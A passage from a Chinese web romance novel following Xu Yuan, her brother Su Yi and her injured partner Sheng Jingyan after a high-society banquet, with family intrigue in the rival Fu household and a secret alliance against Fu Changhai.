他顿了下就听到许愿当着众人的面似乎带着笑意开口。 “介绍一下,我弟弟,苏逸。” 第248章 故人之子 许镇江其实真正承认的只有两个女儿,一个是嫡女许愿,另一个就是许宁。 许愿的身份早被上流圈子扒烂了,现在许愿如此平静的告诉他们,她还有个弟弟,她什么时候有个弟弟了? 可现场没有人去问,他们内心怀疑两人的身份面上却露出虚伪友好的笑容。 这个时候提到苏逸明摆着就是许愿为了捧苏逸。 苏正坤父子冲上来吵吵嚷嚷想要败坏他们姐弟的名声,她却要这种时候承认苏逸,让这些人知道苏逸和她之间的关系。 她有个弟弟,是苏逸。 他站在灯光下,灯光打在他的身侧,衬得他身量很高,许是少年时期抽条快,整个人瘦高单薄。 他的相貌是极好的,冷峻温润带着绝对的疏离感,容貌和许愿并不十分相像,骨相皮相都是绝佳,身上自带一股难以言喻的书卷气。 参与这次晚宴的多是A市上流圈子的人,宋野韩城那群人没来是因为早就通过内部渠道知道段星河选好了合作对象,但旁的不知道的都来凑了这热闹。 许愿是苏青莲的女儿,她都不需要做亲子鉴定,单是那七八分相像的容貌就说明了一切。 苏逸呢。 他不像苏青莲……但是却让他们恍恍惚惚的仿佛看到了某位故人,那人许是不常出现在公众场合此刻才会没有被想起来。 刑从景谨慎的脸色微变。 故人之子……确实是故人之子。 苏逸确实不像苏青莲,因为他像的是唐青江,身上冷淡的气质和那双棕榈色的浅淡眸子,都与唐青江如出一辙。 当年A市唐家报过一次案,丢掉的是唐青江的基因。 被弄丢的基因一直没被找回来,后来唐家人也不再寻了。 现在他可以确定计划盗取唐青江基因的是苏青莲,她用盗取的基因孕育子嗣,许愿和苏逸……很可能全部都是唐青江的孩子。 如果一切都是真的,那么许镇江为何这般苛待许愿就有了解释。 刑从景垂下眼眸,许久未能说出句话,长久的沉默。 他看着这对姐弟,仿若看到遥远时空另一条时间线的苏青莲和唐青江。 许愿面带微笑的将苏逸介绍给上流圈层,开口:“明天我会带苏逸一起参加金融峰会。” 她是要为苏逸铺路了。 是的。 既然不能做个普通人平凡的过完这一生,那她就要让自己的弟弟和自己一样站到顶端享受鲜花掌声拥有属于自己的光辉。 众人纷纷夸赞苏逸有出息,少部分人眼神闪烁内心想了什么不得而知。 苏正坤父子已经被刑从景的副队押送带走,傅长海面色阴沉的带人离开。 他是真的恨,每一次总有人帮许愿,若非段星河,现在许愿早就颜面扫地了! “你想让他选择金融也进你这个圈子?你们几乎完美的基因可不是用来做这些的。”段星河心不在焉的在手机上戳戳戳,目光有一搭没一搭的落到苏逸脸上,开口道:“A大校长邀请我成为物理系客座教授,苏逸完全可以报物理系或者化学系成为我的学生,我甚至可以提出意见只带这一个学生,不比他学金融好吗。” 段星河想得挺清楚的。 苏青莲和唐青江这两人的孩子基因绝对上乘,明明有改变一切的能力为什么要学金融只单纯的捞钱? “像你说的,你选择金融是没有钱无法做选择,你不想被控制才如此,那苏逸呢?他有了你这个姐姐难道还会缺钱?缺什么实验资料你不会打钱准备好送到实验室来?都有你当后盾了,以后的事还不是孩子自己挑自己选。” 他看得通透,而且也确实是担心毁掉个好苗子。 许愿看向苏逸,顿了下开口询问:“你怎么看。” 苏逸愣了下。 他没考虑过这些。 以前最大的梦想就是能够逃离苏家那个泥潭,逃离苏家后虽然也遇到很多事,但他确实没有时间去思考这些。 如果问他自己挑自己选的话…… “我可以……” 他开口,许愿和段星河默契的目光落在他身上,等着他的回答,究竟是打算创建公司搞钱还是搞实验。 然后就听到苏逸呼出口气,带着几分心虚。 “我可以报表演系吗。” “哈?!” 许愿是沉默的,段星河是傻眼的。 段星河岂止是傻眼,他甚至是完全不能理解此刻的苏逸。 “你要用你这漂亮的脸蛋优秀的基因远超常人的智商跑到娱乐圈当个又唱又跳又表演的喜庆人!是你疯了还是我疯了!” 他单纯觉得自己很多想法天马行空没有人理解自己,原来有个苏青莲,后来苏青莲假死躲起来,现在有了许愿满门心思只想搞钱,苏逸呢?竟然!想!进!娱乐圈! 不是?他有病吧? “你知道你这是资源的浪费吗?” “你的智商你的基因如果能提取出来比在场这群脑满肠肥的人加起来都要优秀,你站在云层顶端能够俯瞰这群小蚂蚁的人现在你告诉我你要学表演去给这群小蚂蚱小蚂蚁唱跳哄他们开心!” “我让你做选择是让你在金融系和物理化学这些里面随便选一个,实在不行你选数学系我也不说什么,可你为什么要选表演系!” “表演系他配吗?” “拜托,娱乐圈那么多丑男丑女审美降级,你进了娱乐圈你让谁给你搭戏?你跟那些人都不在一个图层啊!” 段星河跟有病似的一顿输出,显然是完全无法接受苏逸的选择,开口的话毫不留情的犀利一阵突突。 简直就是平等的吐槽所有人,不仅要创死在场的名流富豪,还要创死娱乐圈的明星。 听到这段话的脑满肠肥的名流富豪们:“……”?不是段星河你有事儿吗? 要不是看在段星河是个科研大佬背后还站着清一色的特警队的人,他们多少要上来理论理论。 苏逸:“……” 许愿:“……” 许愿甚至头都已经开始痛了。 她这个当姐姐都还没开始无语,段星河就开始抽风了。 第249章 恋爱脑纯爱战士 她忍不住开口劝了句:“段老师,说了让孩子自己选的呢,你说得太过了。” “我过?你不说他你说我?” 段星河指向自己“哈”了一声。 “我还有更过的!苏逸你给我听好了,你敢选表演系,腿给你打断!打断!” 完完全全不可理喻。 许愿捏了捏眉心,只觉鸡飞狗跳。 苏逸想选表演系是许愿没想到的,但其实选这个也不是不行。 她反驳段星河。 “你不是说了,我这个做姐姐的已经成为资本,足够站在他身后了?那他也不必为做选择头痛,总归有我兜底。” 段星河不服:“可他智商超高啊。” “但他姐姐有钱。” “可他智商高啊。” 段星河就是抓住苏逸聪明这件事不放。 其实最重要的是因为他是苏青莲和唐青江的儿子,他们两个人的血脉不搞研究去娱乐大众那就是对这基因的一种亵渎侮辱。 “他可以是娱乐圈里面一个智商超高的明星艺人。” 许愿话音才落,苏逸紧跟着接了一句:“也可以是爱豆。” 段星河本来就憋着一把火,听到“爱豆”两个字再度破防。 “他还要当爱豆!我说你去又唱又跳你还真的又唱又跳!你要去当猴子啊!知不知道圈子里最容易塌房的就是男爱豆!” 娱乐圈里面总是爆出男爱豆乱约睡粉的事,段星河平日里除了做研究就是爱吃瓜,什么不知道啊。 苏逸摸了摸鼻子:“话不能这样说的。” 段星河瞪眼,比起他最开始和许愿见面时故意凹造型做出一副腹黑妖孽模样,显然此刻的段星河更加真实鲜活。 “那要怎么说?”他甚至还压着暴脾气问他。 苏逸语气十分肯定:“最容易塌房的是男人。” 段星河:“……” 段星河气笑了。 “许愿你不管管他?” 许愿摆了摆手:“他不是没说错吗。” 被这姐弟二人气了半死的段星河好半天都没吱声,就盯着这姐弟二人。 其实苏逸想选什么跟段星河确实是没关系的,而且苏逸会选择学表演也不是没道理的。 过去十几年苏逸在苏家一直都尽力缩小存在感,在学校明明是冷淡的高岭之花,却总是躲在暗处,明明如此优秀却不能站在人群中散发自己的光芒。 因为那时的苏逸害怕自己的身份曝光,害怕被人知道自己的父亲是个五毒俱全的烂赌鬼,更害怕人知道大哥是一个会欺辱女性的垃圾货色。 纵然他一直在暗中偷偷举报报警帮过那些人,但他还是会为这样的出身自卑,觉得自己不配站在顶端,就只能躲在阴暗的角落苟延残喘。 可现在不一样了。 现在他的姐姐是许愿,他的姐夫是盛景炎,他和那些垃圾没有任何关系,唯一需要划清界限的也只有许镇江而已。 他是干净的,他是磊落的,他不需要躲在阴暗的角落腐朽的泥潭,他可以到阳光下,到太阳下。 他不会再因出身自卑,他甚至可以自豪的说出自己的姐姐是许愿这种话。 就好像他真的做错事都一定会有一个强大可靠的姐姐为他兜底。 这是他此刻的自信。 从前的苏逸是早熟的稳重的,可现在的苏逸是有些幼稚的。 好像因为有了这个姐姐的存在,他有了任性幼稚的资本。 许愿都说了她有钱有权可以站在他身后了,他还要担心什么?那可是他姐姐啊。 许愿看向苏逸,语气认真:“苏逸,我不会逼迫你做选择,但你真的决定了要选择表演系吗,你不用紧张也不必因为我而改变自己的想法,我只想知道你自己选择你未来要走的那条路。” “我会选择表演系,但不是现在选择表演系。” 苏逸解释:“我会先选择物理系等做出点成绩后再选择自己喜欢的。” 段星河呵了一声:“等到那时候你都多大年纪了还想当男爱豆呢。” 苏逸冷不丁开口:“我还不到你年龄的一半,如果真的像你说的我这样聪明也会跟我姐姐一样短时间做出成绩,做不出成绩那就是你胡言乱语。” 段星河一噎。 行。 好。 完美。 不愧是苏青莲的女儿,一样的小嘴装着利剑,嗖嗖的往他心口戳。 问题是苏逸也没说错啊,他这十四五六的年纪,如果真跟许愿一样聪明最多两年能做出成绩,等于是这死孩子十八岁就要勇闯娱乐圈去了。 哈,真不愧是苏青莲的基因。 苏逸做好了决定段星河也不能说什么,毕竟这是苏逸的人生,他就是个旁观者外人,说得上是苏青莲的友人,但苏青莲是真没怎么管过苏逸,他也不好以“叔叔”的身份说教,只是觉得有些可惜。 这样的智商多多少少浪费社会资源了。 见段星河冷着脸妥协了,苏逸也弯了弯唇。 许愿却站在他身边,声音很轻:“伤好了吗你就出来乱跑来参加晚宴?” 她可还记得高考那天苏逸受了多重的伤,现在她都能感觉到苏逸是在强撑着,明显身体受不住。 “收到条短信说你今晚可能会喝酒要我和姐夫来接,姐夫陪我一起来的。”苏逸没说自己恢复没恢复好,答非所问的来了这么一句。 要不说苏逸聪明呢,知道回答自己相关的许愿肯定要炸,所以直接转移话到道盛景炎身上。 盛景炎可比他伤得重多了,盛景炎都来了,就别关注她了吧。 果然,许愿脸上的表情都很明显的跟着僵了下。 一个两个的都不让人省心,糟心啊。 “我还有事,就先走了。” 许愿淡淡瞥了段星河一眼抬脚就往外走,也不等段星河的回答,段星河明显也知道许愿为什么走,啧了一声挥了挥手。 “谁还不知道你呢,跟你父母如出一辙的恋爱脑纯爱战士。” 许愿不理他,人都已经跟苏逸走到晚宴门口了,倏然感受到一道逼仄深沉的视线落在自己身上。 许愿抬起头看过去,对上男人幽暗深沉的黑眸。 是傅京礼。 第250章 你是不是很喜欢我管着你 许愿眉眼之间都带着淡淡的凉意,她看着咫尺之间的男人,也只是一眼,便要离开。 “许愿。” 傅京礼叫住她的名字。 “今天的事,与我无关。” 他等在这里,只想说这一句话。 “你想让我说什么呢。” 许愿其实什么都不想说,但只是听到这句话觉得实在好笑。 “你告诉我今天的事与你无关,你觉得是哪里与你无关呢。” 许愿目光淡然:“你说你在意我,你说你想跟我重新开始,你说你要跟我复婚让我重新成为傅太太,那么我请问你,许宁和傅长海的存在代表什么你清楚吗。” “你的纵容让许宁肆无忌惮的伤害我,你的纵容让傅长海随心所欲的做下种种错事,你的纵容让傅长海受到教训却还妄想报复我伤害我,如果不是有你做后盾,傅长海今天绝不会带傅守越出现在晚宴现场,更不会带着苏家父子特意来侮辱我和苏逸。” “你难道真的不清楚那对父子对苏逸代表什么吗?” 苏逸有着光明的未来,但是苏家父子的存在就是会一次又一次的告诫他,他曾经躲在暗处,是苏家父子对他的伤害让他连接近靠近光明的勇气都没有。 “你知道,你什么都知道。” “说着爱我,却纵着你的情人你的亲人伤害我和苏逸,傅京礼,如果我是你,我根本没有这个脸来参加今晚的宴会。” 傅京礼脸色微微发寒,已经上前一步,紧随其后的刑从景偏头瞥了他一眼,剑拔弩张之际,许愿听到一道带着点笑意的温柔声音。 “阿愿,我来接你回家。” 气氛瞬间变了。 许愿转身看到早就等候在宴会厅外的男人。 盛景炎坐在轮椅上,他仍然很憔悴,但整张脸上都是带着温和笑意的,目光一错不错完完全全的落在许愿脸上。 能明显感觉到傅京礼狠戾的眼神,他抬眸眼底全然都是笑意,他不带任何敌意的笑都仿佛带着攻击性,利箭一样不停地戳到傅京礼胸口。 许愿已经走到他面前,他额角是有伤口的,裹了一层纱布,平日里嚣张的不可一世的男人此刻有那么点惹人怜爱的姿态,她有点想捏他的耳朵,却又怕触碰到他的伤口,只能退而求其次的伸出手戳了戳他的鼻尖,力气很小很小。 知道她这是什么意思的盛景炎忍不住笑了。 “都伤成这样了还乱跑,你当自己有什么特异功能能自愈呢?你这种人就该给你套条锁链锁在家里让你哪里也去不成。” 许愿声音中带着几分埋怨,却没有不耐烦,她是真的担心盛景炎的。 盛景炎眼底的笑意根本藏都藏不住,他握住许愿的手放到自己侧脸让她能够触到自己的脸。 “那锁链要金的,方便我发微博炫耀下许小姐对我的占有欲。” 许愿:“……” 许愿这次是真被气笑了。 “我要锁你哎。” 盛景炎毫不在意,因为那人是许愿,所以她不在意可以失去他最爱的自由。 “因为是你的话,我愿意的。” 许愿俯身,唇贴在他耳边。 她呼出的热气有些暧昧痴缠。 几乎整个人要贴在他怀中。 “你是不是很喜欢我管着你。”许愿问他。 盛景炎嗯了一声。 “占有欲很强?爱好自由永远爱自由但是在某些时刻可以为了特定的某一个人放弃自由。”许愿又问。 盛景炎看着她,眼神都没有变。 “嗯,是为了你。” 许愿唇吻在他耳垂上低声问:“最开始追求我是不是因为我不喜欢你,就喜欢这种爱而不得的感觉。” 她一字一句的问,盛景炎顿了下,摸了摸鼻尖有那么点心虚。 他已经猜到许愿要问什么了。 显然现在盛景炎沉默了,许愿也猜出盛景炎沉默的原因,她忍不住嗤了一声。 “骗我说生日在五月想骗我的生日礼物?你哪里是五月生日,这些特征明摆着就是射手座!不是十一月就是十二月!” 盛景炎轻咳一声:“身份证上登记错了,我按照身份证说的,也不算说谎。” 盛景炎这人,妥妥的射手座,生来就适合当皇帝的狗男人。 这么多年多少人爱慕他,他硬是一个个的全都拒绝了。 射手座是个什么星座的人?自我,永远都在开心只会深夜抑郁,深情专情但最爱不爱自己的人,显然盛景炎是有自己独特的人格魅力的,很少有人不爱他,这也就代表其实根本没有人能激起他的征服欲。 当年遇到许愿时许愿已经嫁给傅京礼,且那时候的许愿还没有暴露身份,也没能在傅氏站稳脚跟,所以盛景炎不会喜欢上那时候只是空有皮囊的人妻。 所以许愿离婚后又一次又一次的拒绝他,且暴露出了自己的身份完全的展露了自己的优秀,这让盛景炎克制不住的想接近她追求她。 他欣赏许愿的美貌,却更钦佩许愿的一切。 就像他曾经说过的,他们是同类。 同类与同类之间会有彼此之间的心灵感应,他们就该是最般配的一对儿。 射手座其实没什么不好,以前盛景炎就欣赏射手座,但是奈何这星座的“渣男”评价太广,他也有那么点担心许愿嫌弃,再加上当时因为许愿亲手给傅京礼做过钢笔所以盛景炎心里嫉妒才会生出这么多小九九故意说自己的生日在五月。 许愿显然也猜到盛景炎当时为什么要撒谎了,她其实觉得有点好笑又有点无奈。 许愿垂下眼睫微笑,许愿笑得眉眼弯弯的,声音很轻很温和,然后说出了一句在盛景炎听来是“恶魔低语”的话。 “你钢笔没了。” 盛景炎:“?”这么狠吗? “那不行!” 盛景炎扬声反驳。 许愿微笑:“撒谎的人没有礼物。” 其实生日到底是几月的,什么星座都不算多重要的事情,她现在就是有那么点想逗他。 “别的回家再说,我们先回家。” 许愿推着他的轮椅,脸上的笑意都很明显,任谁也看不出许愿好像是在生气。 第251章 生气不代表不爱 傅京礼一直站在远处沉默的看着两人互动。 他像是陷进了回忆中。 记忆中,许愿从未跟他这般亲近过。 她是想过接近他,是他从未向她敞开心扉。 每一次许愿接近他,他都会是一副公事公办的态度,在傅氏他们是上级和下属,在公寓他们却更像陌生人,好像连朋友都算不上,只有……解决生理需求时他们才会接触。 他见过她最妩媚的模样,她那样柔美的样子只在他面前绽放过。 可此刻许愿这样肆意的样子却只在盛景炎面前呈现,甚至以后他们之间会做更多亲密的事。 他……为什么不死在这场车祸中,为什么还要活着回来。 傅京礼眼神愈发幽暗,他眸光深沉带着明显的寒意。 “盛景炎。” 他叫了盛景炎的名字。 许愿只当没听到。 现在的傅京礼于她而言,像是疯子,她不愿去接触傅京礼。 许愿继续推着轮椅,盛景炎垂眸握住许愿的手,像是很轻缓的在安抚。 “阿愿,可以先停下,我没什么。” 许愿停下了。 他坐在轮椅上,听到傅京礼的声音。 “盛景炎,你可以仔细看一看现在的你。” “这样的你,配得上许愿吗。” 傅京礼语气平淡,却明显带着几分狠辣。 “这是我们之间的事,与你无关。” 许愿眼神冰冷,她早该知道傅京礼根本说不出什么好话。 盛景炎只偏头看向傅京礼,他那双总是含着笑意的眼眸已经淡下来,却毫不退让,完全不会让人感觉到他会是弱者。 他说:“那又怎样呢。” “阿愿只会选我,她不会选你。” 被爱着的人才能如此,毫不迟疑的开口。 傅京礼的手缓缓紧握成拳,他看着面前的盛景炎,眼底的冰冷之意完全不遮掩。 “她现在选择你不代表这一辈子都只会选择你。” “没有人会愿意跟一个废人过一辈子。” “废人”二字就是他故意提起的,就是为了嘲讽盛景炎。 盛景炎顿了下,他其实很想反驳,但这一刻他自己都是不确定的。 如果换作是别的人,他自认自己可以拿捏住对方,用虚幻的真情困住对方一辈子,让对方捧着她的真心献出她的真心。 可这个人变成许愿时他就不确定了。 一是自己不愿,如果有的选,他也不愿许愿跟他这样的废人在一起。 二是……许愿会做出什么样的选择呢?哪怕许愿现在说着爱,可人……本就是自私的,许愿会放弃他还是会一直爱着他? 他此刻不敢回答了。 “为什么不说了。” 许愿低头看向盛景炎,她此刻眼神都有些凶。 “你该告诉他,我就是爱着你,我不会离开他。” 盛景炎抿了抿唇,一言不发。 许愿眼睫跟着轻颤了下,她很轻微的叹了口气,她没再看盛景炎,目光终于还是落到了傅京礼脸上。 “傅京礼,我跟段星河合作了。” “如果以后有医生能够医好他那是最好的,如果医不好我们一样可以做新的研究,我会让他和正常人一般无二,在我这里他永远不会是废人。” “我不会抛弃他。” 不抛弃他,就代表拒绝傅京礼。 话落,许愿根本不想与傅京礼纠缠更多,转身离开时根本没有看到傅京礼眼底掠过的挣扎痛苦。 或许就算看到了也不会在意了。 回到车上。 苏逸没有跟着上车,他还是有那么点眼力见,上了刑从景的车。 许愿开车,一路无话。车子一路开到公寓楼下。 “别生气了好不好?我道歉。”盛景炎搂住许愿,把人抱进怀里。 许愿没有挣扎,也没有回抱。 她捧着从段星河那边拿来的遥控器和小飞机一言不发。 看她这副模样,虽然怀里是满的,但盛景炎的心却仿佛破了一个洞,空茫得厉害。 他一遍又一遍亲吻许愿的脸颊和耳朵,呢喃地说着对不起。 “我喜欢你。”他嗓音沙哑,似在祈求。 “我说出那些话只是……阿愿,我不想道德绑架将你一辈子绑在我身边,就像傅京礼说的,现在的我就是个废人。”他轻轻抚摸许愿的发丝,摁着许愿的后脑勺,想把人禁锢在怀里。 他甚至不敢去看许愿的表情。 他害怕许愿眼里的光芒会消失。 许愿依旧没有说话。 她其实心里清楚盛景炎和自己真的很像,所以某些时刻可以读懂盛景炎的心理。 许愿代入自己,遭遇车祸断了双腿,从云端跌落,一切骄傲都在此刻被粉碎,许愿是真的会疯,她或许也会像盛景炎这样产生自卑心理,如果真的爱对方,可能真的会将对方推远。 盛景炎疲惫地叹息:“跟你在一起,我好像总是说错话。” 他把人更为用力地抱住,再次道歉:“对不起。” 许愿眨了眨眼,没有回应。 过了片刻,她又眨了眨眼,漆黑瞳仁慢慢亮起微光,星星点点,闪闪烁烁。 “我其实可以明白你为什么没有做出回应,你在害怕未来对吗。” “我说过的,我讨厌苏青莲,但我不得不承认我真的很像苏青莲。” “我现在心里装的就是你,认定的人是你,决定共度一生的人是你,苏青莲可以为她的爱人做出世人不能理解的选择,我自然也可以。” “治不好那就搞研究,我会让你站起来。” “盛景炎就该站在高处,你就该俯瞰那些人,而不是自卑的缩在角落。” 许愿捧住盛景炎的脸,贴过去,吻得很轻很温柔,他都能感受到从她身上的浓烈爱意。 “我不是生你的气,我只是觉得你不该这样的。” 她下颌搁在这人肩头,吐着热气缓缓说道:“盛景炎,以后我每天都会说我爱你。” “每天都会说。” 她就是要用这种方法给盛景炎安全感。 盛景炎低笑一声,他握住许愿的手,很轻柔的力道抚摸:“惹你生气的时候也会说吗。” “生气又不代表不爱。”许愿想了下告诉他:“最多没有亲亲吧。” “那不行。”盛景炎果断反驳。 第252章 只有我们最爱你 听到盛景炎如此果断的回答许愿忍不住眼睛再度弯弯的笑起来。 盛景炎就看着她的笑颜,空茫的心被温热的东西填满,焦躁烦乱的情绪瞬间沉淀,隐约的刺痛和无法排遣的恐惧,都被抚平了。 盛景炎用力抱紧许愿,恨不得她揉进自己身体里。 …… 傅长海和傅守越离开晚宴后傅嘉誉也没脸多待,她根本待不下去、 她自小接受的教育见到过的世界都是非黑即白的,她一直坚信自己的父亲兄长是绝对的好人,他们身上携带着一切的光辉,她将他们当作榜样,怎么会是段星河口中的恶人? 她接触过那样多的人,他们会夸她漂亮优秀,没有人说她狠毒更不会有人说她蠢笨。 她接受不了今天经历的一切,她整个人几乎都快要崩溃。 “你们今天为什么要这么做?”离开晚宴现场傅嘉誉出声逼问。 她是被娇养着宠大的,从来都是直来直去的性子,直接出口询问。 这样的夏夜,风吹在人身上甚至带着点燥热感。 傅嘉誉却感觉有点冷,浑身发冷。 “嘉誉,你相信段星河说的那些吗。” 傅长海语气里都带着几许沧桑:“嘉誉,你宁愿相信他也不愿意相信我和你哥哥吗。” “这不是相不相信谁的问题!我要知道真相!”傅嘉誉爆发了,眼泪喷涌而出:“你们知不知道当时你们被段星河侮辱我有多气愤!我站出来想为你们说句话!可到最后段星河那一字一句让我觉得自己变成了一个彻头彻尾的坏人,是我在助纣为虐!” “晚宴现场所有人!是所有人都在看我的笑话!他们都在骂我愚蠢可笑!” 她长这么大什么时候受过这种委屈! 傅长海看到她哭心里实在难过,傅守越站在一旁,他垂下眼睫,缓缓开口:“嘉誉,你觉得我和父亲是坏人吗。” “当然不是。”傅嘉誉哽咽。 就是因为觉得不是坏人,所以此刻才觉得天斗塌了,好像她认定的一切都变成了笑话,连自己都变得尤为可笑。 “那你为什么愿意相信段星河说的那些也不选择相信我和父亲。” 傅守越开口问她。 “可是段星河说的那些……” “段星河说的就一定正确吗。”傅守越继续问她。 “他是站在许愿身边的人,他说的做的都在维护许愿,今天举办这个晚宴前做的一切准备都是为了能够与许愿合作。” 傅守越循循善诱。 “段星河很清楚许愿对我们傅家人的敌意,所以段星河才会以许愿的视角故意让我们傅家人在晚宴现场出丑。” “嘉誉,为什么不愿意相信父亲真的只是看那对父子可怜呢?” “你了解他们的身份吗?他们纵然有错,但苏正坤确实是苏逸的养父,他让苏逸长大成人做错了事就要被所有人唾弃吗?” “如果他也只是逼不得已才选错了路呢?” 傅嘉誉的内心都已经开始动摇,她眼神微微闪烁,此刻几乎说不出话来,有些发慌。 “可是……可是……许愿说……” “为什么要在意许愿说什么?嘉誉,我们才是最亲近的人,许愿跟大哥离婚了,她选择离开傅氏转去了盛世,她早就做出了选择,她和傅氏和傅家都是站在对立面的。” “嘉誉,不要去听许愿说了什么,你要相信我和父亲绝对不会害你,我们才是最爱你的人。” 傅嘉誉眼睫微颤,自小接受的一切教育在此刻开始崩塌。 她觉得傅守越在让她做出选择。 她有时候有些蠢笨,但也不是真的蠢,什么是真什么是假她也能听出来的。 傅守越把话说到这份儿上其实就是要告诉她这世界不是非黑即白的,他们就好像站在灰暗地带。 他要傅嘉誉做出选择,他要傅嘉誉清楚的知道她和许愿不是同盟,她们兄妹才是同盟。 她其实已经清楚段星河说的那些话是对的,但哥哥的话就一定是错的吗? 若是父亲真的看苏家父子可怜才伸出援手呢? 父亲算是做错了吗?万一父亲不知道这件事会对苏逸带来那么大的伤害呢?为什么不能是苏逸和许愿太狠呢? 苏正坤养大了苏逸,他们为什么要把人送进监狱呢? 如果没有把人送进监狱不就没有今天的事情了吗? 傅嘉誉满脑子都是在为自己的父亲和哥哥开脱。 傅守越在她耳边蛊惑道:“嘉誉,你被人针对侮辱时,只有我和父亲才会维护你,你那么在意许愿,可许愿并不在乎你,只有我和父亲最爱你,我们才是永远不会伤害你的人。” 傅嘉誉喉头发堵。 是啊。 晚宴现场时段星河那样咄咄逼人的嘲讽她,许愿在做什么呢? 她明明那么在意许愿,可许愿却只是冷眼看着这一切…… 所以段星河说她蠢没有说错。 傅家对许愿做了什么傅嘉誉不知道,她或许是不想知道,她的父亲多次设计陷害险些要了她和盛景炎的命,苏逸也在车祸中逃生才能继续参加高考,傅长海做的事千刀万剐都不为过,许愿做不到以德报怨还像从前那样对傅嘉誉。 她不主动伤害傅嘉誉都已经是她足够善良。 最重要的是,在晚宴现场她确实也有阻止段星河。 可这一切傅嘉誉全都当看不到了。 父亲重要哥哥重要,许愿才是外人。 傅嘉誉眼底都带上了汹涌的恨意。 一直跟随在傅嘉誉身边的温然眸光冰冷,亲眼看着傅嘉誉被“引导”的对许愿充满恨意。 他内心只觉嘲讽,却还是掩藏住眼底的冰冷之意。 深夜,傅嘉誉肿着眼睛睡过去,傅守越用冰块为她冰敷着红肿的眼睛,看着她沉睡的睡颜不由轻微叹息。 离开傅嘉誉的房间,傅长海早在客厅等候多时。 看到他出来,手中的茶杯狠狠砸到他脸上。 傅守越没有躲,他就站在原地,面无表情毫无波澜的望向傅长海,唇角不带半分笑意。 “父亲,请问我做错了什么事。” 第253章 同盟 傅长海砸来的杯子傅守越完全不躲,杯子结结实实的砸到他额角,额角渗出鲜血顺着侧脸滴答滴答落到光洁冰冷的地面。 傅守越垂眸,眼底仍带着点温和笑意。 他抬手抹去脸上的血迹。 “父亲觉得我做错了吗。” 傅守越笑吟吟的开口询问。 傅守越手狠狠地拍着轮椅扶手,声音里面带着难以言喻的怒意。 “你该知道我不想让嘉誉接触这些!” 在傅长海心中傅嘉誉就该生活在象牙高塔中,永远都是那个天真烂漫的小公主,而不是被现实磋磨。 他要把最好的一切给嘉誉…… “父亲。” 傅守越抽出湿巾,慢条斯理的擦拭掌心的血迹,他声音温和却带着毫不退步留情的强势。 “嘉誉未来会是傅氏的继承人,她会是傅氏真正的掌舵人,我会将傅氏夺回来亲自奉给她,这样的嘉誉不该是天真无邪的,她该知道这些。” “想得到一切,却又想要干干净净不染纤尘,这世界没有这样的道理。” “如果嘉誉到现在还看不透这些,她迟早会被傅京礼亦或是许愿的三言两语反水背刺我们。” “父亲,您还认为我的选择是错误的吗。” 傅守越眸光里明显掠过几分寒意。 他当然是在乎傅嘉誉的,他一直都不支持傅长海这般教养傅嘉誉。 傅嘉誉未来既然要继承傅家,那她就要接触那些阴暗面,她要为了利益主动出击或是防备,她不该像是一朵小白花只能躲在他的羽翼下。 纵然他能一直护着她,但他更希望傅嘉誉能自己站起来。 傅长海久久无言。 “明天金融峰会,你带嘉誉一起参加。” 良久后他才说出这句话,傅守越知道,他这是想明白了。 “还需要带上那位温同学吗。”傅守越状似无意的问了句。 傅长海深深的盯着他看了许久才意味不明的笑了几声:“当然可以带上他,毕竟那是嘉誉喜欢的男孩子,你也要好好照顾他才是。” 傅守越微笑:“好的,父亲。” 他转身的瞬间,脸色瞬间沉下,温润的眼眸中掠过的都是冰冷之意。 耳麦里传来的是哗啦哗啦的水流声和轻音乐的声音,他微微眯眸轻嗤一声。 A大学院附近学生公寓楼。 温然打开浴室的花洒,随手打开一首轻音乐,房间内的监控录像已经被他重新覆盖了一层处理过的录像。 他打开电脑,输入一串数据,切进了系统软件,对面接收了他发来的邀请链接,那头显露出的赫然是许愿那张令人惊艳的面容。 她掀了掀眉对上摄像头,聪明的并未直接开口询问,而是在聊天软件发出信息。 【许愿】:温然?你已经解决好了? 【温然】覆盖了新的录像视频,定位器监听器都被我放到浴室,我开了轻音乐和花洒,预计有二十分钟自由沟通时间。 是的。 早在温然跟傅嘉誉搭上线的那一刻开始温然就知道自己被傅家人盯上了。 盯着他的不是傅京礼的人而是傅长海和傅守越的人,他们会在背后监控所有靠近傅嘉誉的人。 一旦那人有任何坏心思,他们都会背后设计陷害然后让那人消失。 【许愿】:能切到我的虚拟聊天室做到这一步,看来是个聪明人,你找我是想跟我谈合作? 许愿没有去查询温然相关的资料。 在此前A大晚会上初次看到温然,只知道他出自寒门,但身上明显带着贵气,猜到他的身份不普通,没想到现在再次跟温然有了联系。 接近傅嘉誉,也算是温然够胆,傅长海最在乎的就是这个女儿,他倒是勇猛。 许愿不查他的资料也是想看看温然的诚意,看他是否诚实全盘托出。 【温然】:我的父母与苏女士同年去世,父母去世后亲人为了家产丑态百出,我被养在孤儿院长大,三年前得知部分真相,收购了家族股份和祖宅基地的背后之人是傅长海。 【温然】:我查到当年的事跟傅长海有关,我想报仇。 【温然】:许总,我们的目标一致,我需要你的帮助。 温然没有做任何隐瞒,他将目前知道的全部告诉许愿,提到父母出事时眼底都是一片晦暗。 许愿敲打键盘的动作顿了下。 傅长海此人自私阴险狡诈,当年为了让傅老爷子知道他的能力不输傅京礼的父亲,那几年一直在收购各类公司,一些不愿被收购的他会耍尽手段逼迫其破产重组用各类手段将公司抢到手中。 那几年众多中小家族都被傅长海如此针对过。 很明显,温然的家族就是其中之一。 【许愿】:当然,目标一致的话,我会帮你。 【许愿】:金融峰会上有人会接应你。 已经不剩多少时间,温然撤掉自己上传屏蔽的监控录像,关掉浴室的花洒,做出一副洗过澡的模样,懒懒散散的完全不像知道自己被人监视的模样。 躺到床上时温然摩挲着手机,目光中都是嗜冷之意。 …… 金融峰会正式开始时间在上午十点,此前,盛世特意提早在盛世内部为段星河建立了独属于他团队的研究室,因为许愿在现场大放异彩,也为了迎接马上来临的金融峰会,董事会那群老狐狸特地给许愿升职,由副总变成了执行总裁。 最初这是盛景炎的位置,盛景炎出事后这位置一直空着,现在由许愿顶上倒也不错。 许愿很满意,但她也清楚董事会那群老狐狸抱着什么心思。 无非是想让她在金融峰会上代表盛世多谈些合同。 许愿的调令在这个时间下来,许愿也不管此刻培养自己的继任者是不是高调了,直接任命盛景炎之前的助理担任总监职位,而那位还算聪明的陈飞豪她将他暂时安置在副总的位置上,相信他能明白自己的意思。 “许总,您的升职调令下来了。”上一次,他眼里满是嘲讽奚落,这一次,他的表情只有忌惮。 比许愿升得更快的人她也见过,但人家都是背景雄厚的二代,哪像许愿一无所有。 第254章 升职 